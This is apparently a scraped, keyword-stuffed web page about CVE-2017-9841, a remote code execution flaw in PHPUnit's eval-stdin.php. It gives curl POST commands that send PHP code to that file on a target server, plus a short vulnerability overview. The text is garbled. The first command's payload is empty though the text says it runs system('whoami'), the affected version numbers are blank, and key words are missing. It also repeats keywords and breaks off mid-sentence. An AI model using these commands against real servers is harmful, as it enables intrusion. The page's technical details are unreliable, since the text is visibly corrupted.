Vendor Phpunit Phpunit Src Util Php Eval-stdin.php Exploit -

curl -X POST http://[target-ip]/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php -d '' Use code with caution. Copied to clipboard If vulnerable, the server executes the system("whoami") command and returns the username of the web server process. Affected Versions PHPUnit 4.x : All versions prior to PHPUnit 5.x : All versions prior to CVE-2017-9841 Detail - NVD NVD - cve-2017-9841. National Institute of Standards and Technology (.gov) PHPUnit.Eval-stdin.PHP.Remote.Code.Execution

curl -X POST http://target-site.com/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php \ -d "<?php echo 'VULNERABLE'; ?>" vendor phpunit phpunit src util php eval-stdin.php exploit

Never install dev dependencies in production. National Institute of Standards and Technology (

This is a report on the CVE-2017-9841 vulnerability, a critical remote code execution (RCE) flaw in the PHPUnit testing framework. National Institute of Standards and Technology (.gov) Vulnerability Overview Vulnerability Name : PHPUnit Remote Code Execution (RCE). CVE-2017-9841 9.8 Critical (CVSS v3.x). Target File vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php Technical Description The script eval-stdin.php was designed to read PHP code from standard input ( ) and execute it using . In misconfigured production environments where the CVE-2017-9841 9